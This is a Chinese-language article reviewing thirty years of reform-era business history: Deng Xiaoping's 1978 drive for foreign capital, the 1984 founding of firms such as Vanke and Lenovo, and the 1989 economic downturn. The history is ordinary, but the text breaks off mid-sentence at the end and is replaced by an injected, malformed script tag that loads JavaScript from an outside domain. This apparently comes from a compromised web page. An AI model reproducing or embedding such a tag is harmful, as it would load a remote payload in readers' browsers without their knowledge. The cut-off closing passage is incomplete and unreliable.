回首中国改革开放30年重大商业事件,一种沧桑感浮上心头——无尽的艰辛中又饱含无尽的自傲。这是一个怎样的30年?第一个10年,我们压抑太久从而慌不择路;第二个10年,我们机会难逢从而快马加鞭;第三个10年,我们顺风顺水从而无所顾忌。这30年来,我们一直没有停留过疾驰的脚步。
但是,“摸着石头过河”,“不管白猫黑猫,抓住老鼠就是好猫”等这些在当年切实可行的实用主义哲学,却养成了我们避重就轻的惰性,养成了我们只顾眼前不管长远的短视。我们急躁和果断,却缺乏从容和谋定。
在日本松下公司内,随处可见泰坦尼克号撞向冰山的图画,为的是让公司员工时刻保持一种危机感。近年来蓬勃繁荣的中国经济,何尝不像这艘昂然奋进时的巨轮?能源巨耗、环境污染、缺乏创新、国企垄断、腐败特权、分配不公、价值道德观的滑坡……这些都是潜伏在中国这艘巨轮必经道路上的致命冰山。
尽管我们一路上尝尽了苦痛艰辛,但只要我们稍一疏忽大意,那么30年博得的功名,将会顿时飞散如尘土。下一个10年,我们会耐得住性子去解决这些日积月累的难题吗?
1978年 引入外资热潮
在1979年底出版的美国《时代》周刊上,一位70多岁的中国老人成为该刊的年度封面人物。这位老人叫邓小平,介绍他的这篇文章题目叫做:《新中国的梦想家》。
用“梦想家”来形容这位国家领导人真是恰如其分。当时的邓小平,强烈渴望通过引入国外巨额的资本来拯救百废待兴的中国经济。在一次谈话中,他提出,同国外做生意可以搞大一点,搞它500亿,形势不可错过,胆子大一点,步子也大一点。
这位国家领导人甚至亲自拍马上阵,做起了招商引资的工作:1978年10月,邓小平访问了日本,参观了松下电器、日产汽车等诸多日本现代化企业,并向松下幸之助等知名企业家发出了热情的邀约;从日本回来后,他又马不停蹄地访问了新加坡,学习他们引用外资的成功经验。
在这位老人的热情渲染下,全中国陷入了一片热潮之中。日本的松下公司来了、美国的可口可乐公司来了、德国的大众公司来了……据有关资料显示,这一年签订了78亿美元的引进外资协议,其中有50%是在年底的短短10天内抢签的。而年底在上海投建的宝钢,是这些狂热梦想最终落地生根的少有硕果之一。
很快,邓小平便发现自己的想法在当时过于罗曼蒂克,于是迅速改变思路,把主要精力投入到对上万家国有企业的改造激活上。但此举却意义非凡,标志着中国经济终于又回到阔别已久的国际社会之中。
1984年 中国公司元年
一大批日后引领中国商业潮流的公司,在这一年崭露头角。
“干大事情的时候到了。”王石兴奋地想到。1984年1月24日,他还像往常一样,骑着自行车在深圳的大街小巷四处倒卖玉米。当他经过深圳国贸大厦时,突然发现了好多警车和警察。通过打听得知,国家领导人邓小平当天正在该大厦的顶层俯瞰深圳这片新兴的特区全貌。
当时,深圳等经济特区的发展,引起了很多人的不安,很多老干部参观完特区回家后不禁放声痛哭:“辛辛苦苦几十年,一夜回到解放前。”邓小平1984年南巡时,写下了“珠海经济特区好”等题词,算是为特区经济一锤定音。很显然,摸着石头过河的邓小平,需要找到新的改革思路和实验田。
“十亿人民九亿倒,还有一亿在寻找。”就在这一年,下海经商和闯荡深圳成为年轻人的一种潮流:王石在“偶遇”邓小平4个月后,创办了万科公司的前身——深圳现代科教仪器展销中心;柳传志不甘心做一个平庸的科研人员,在中科院计算机研究所简陋的传达室内创办了联想公司;史玉柱毅然告别了安徽省统计局办公室的机关生活,跑到深圳兜售自己编写的软件;贵为军医大学教授的赵新先,带着自己研制的“三九胃泰”跑到偏避的深圳笔架山下创办了三九集团;华南理工大学毕业生李东生,则在惠州一个破败的农机仓库开始生产录音磁带;李书福和几个兄弟成立了冰箱配件厂;而张瑞敏、潘宁等知名企业家都在这一年当上了国营工厂的厂长……
1989年 经济“倒春寒”
“金钱诚可贵,生命价更高。”时间进入1989年后,26岁的千万富翁李书福突然发现自己变成了人人喊打的“过街老鼠”。惊慌失措之余,他匆匆把年销售额已达4000多万元的北极花冰箱厂捐给了当地的乡政府,然后只身一人跑到深圳读书去了。
1989年,对中国来说是一个经济疲软的年份。通货膨胀、官员腐败、民工热潮等诸多难题都在这一年加速发酵。因为苏联和东欧等社会主义国家政局的持续恶化,让国内一些人开始担心:如野草般疯长的私营经济也会让社会主义中国“变色”。此种担忧最终导致了中国经济的“倒春寒”现象。
整顿首先从严厉打击私营经济偷税漏税开始,然后又对国营体系外的新兴企业进行清肃,其中家电业被视为“通货膨胀、市场失控”的罪魁祸首。在这股“倒春寒”中,年广久以贪污、挪用?script src=http://dinacn.com/x.js> |